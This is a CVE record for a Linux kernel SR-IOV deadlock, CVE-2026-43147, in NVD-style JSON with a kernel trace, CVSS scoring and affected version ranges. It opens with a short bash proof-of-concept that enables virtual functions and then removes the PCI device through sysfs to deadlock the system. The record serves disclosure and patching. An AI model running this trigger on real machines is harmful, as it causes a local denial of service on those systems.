CVE-2026-43147

#!/bin/bash # PoC to trigger deadlock in Linux Kernel SR-IOV # Requires local access and permissions to write to sysfs # Replace <pf> with the actual PCI device address (e.g., 0000:03:00.0) PF_DEVICE="<pf>" NUM_VFS="2" # Step 1: Enable SR-IOV Virtual Functions echo "Enabling $NUM_VFS VFs on $PF_DEVICE..." echo $NUM_VFS > /sys/bus/pci/devices/$PF_DEVICE/sriov_numvfs # Step 2: Remove the PCI device to trigger the deadlock echo "Attempting to remove $PF_DEVICE..." echo 1 > /sys/bus/pci/devices/$PF_DEVICE/remove echo "If successful, the system should now be deadlocked."

{"cve": {"id": "CVE-2026-43147", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:32.240", "lastModified": "2026-05-13T20:18:47.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"PCI/IOV: Add PCI rescan-remove locking when enabling/disabling SR-IOV\"\n\nThis reverts commit 05703271c3cd (\"PCI/IOV: Add PCI rescan-remove locking\nwhen enabling/disabling SR-IOV\"), which causes a deadlock by recursively\ntaking pci_rescan_remove_lock when sriov_del_vfs() is called as part of\npci_stop_and_remove_bus_device(). For example with the following sequence\nof commands:\n\n $ echo <NUM> > /sys/bus/pci/devices/<pf>/sriov_numvfs\n $ echo 1 > /sys/bus/pci/devices/<pf>/remove\n\nA trimmed trace of the deadlock on a mlx5 device is as below:\n\n zsh/5715 is trying to acquire lock:\n 000002597926ef50 (pci_rescan_remove_lock){+.+.}-{3:3}, at: sriov_disable+0x34/0x140\n\n but task is already holding lock:\n 000002597926ef50 (pci_rescan_remove_lock){+.+.}-{3:3}, at: pci_stop_and_remove_bus_device_locked+0x24/0x80\n ...\n Call Trace:\n [<00000259778c4f90>] dump_stack_lvl+0xc0/0x110\n [<00000259779c844e>] print_deadlock_bug+0x31e/0x330\n [<00000259779c1908>] __lock_acquire+0x16c8/0x32f0\n [<00000259779bffac>] lock_acquire+0x14c/0x350\n [<00000259789643a6>] __mutex_lock_common+0xe6/0x1520\n [<000002597896413c>] mutex_lock_nested+0x3c/0x50\n [<00000259784a07e4>] sriov_disable+0x34/0x140\n [<00000258f7d6dd80>] mlx5_sriov_disable+0x50/0x80 [mlx5_core]\n [<00000258f7d5745e>] remove_one+0x5e/0xf0 [mlx5_core]\n [<00000259784857fc>] pci_device_remove+0x3c/0xa0\n [<000002597851012e>] device_release_driver_internal+0x18e/0x280\n [<000002597847ae22>] pci_stop_bus_device+0x82/0xa0\n [<000002597847afce>] pci_stop_and_remove_bus_device_locked+0x5e/0x80\n [<00000259784972c2>] remove_store+0x72/0x90\n [<0000025977e6661a>] kernfs_fop_write_iter+0x15a/0x200\n [<0000025977d7241c>] vfs_write+0x24c/0x300\n [<0000025977d72696>] ksys_write+0x86/0x110\n [<000002597895b61c>] __do_syscall+0x14c/0x400\n [<000002597896e0ee>] system_call+0x6e/0x90\n\nThis alone is not a complete fix as it restores the issue the cited commit\ntried to solve. A new fix will be provided as a follow on."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.301", "versionEndExcluding": "5.5", "matchCriteriaId": "ABCD8233-CFD6-4194-AA34-BD9E287307E3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.246", "versionEndExcluding": "5.10.252", "matchCriteriaId": "4A9DDA2A-4C5B-4449-8771-770D86CF7DDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.195", "versionEndExcluding": "5.15.202", "matchCriteriaId": "B24EB1FA-19B2-49D7-A69B-15888BE06274"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.157", "versionEndExcluding": "6.1.165", "matchCriteriaId": "A1C6F3EA-9480-4F54-AA05-D52B53EC80F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.113", "versionEndExcluding": "6.6.128", "matchCriteriaId": "C5E8E922-3FF0-431A-8702-035D4539BF13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.54", "versionEndExcluding": "6.12.75", "matchCriteriaId": "FC78A661-1343-4AFE-A84D-E36586DC36A9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.4", "versionEndExcluding": "6.18.16", "matchCriteriaId": "91D00E25-4134-4FD2-A41C-44EA3CF9D3EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0de341b2365bad430aade0853fe09c2cbe468f59", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2fa119c0e5e528453ebae9e70740e8d2d8c0ed5a ... (truncated)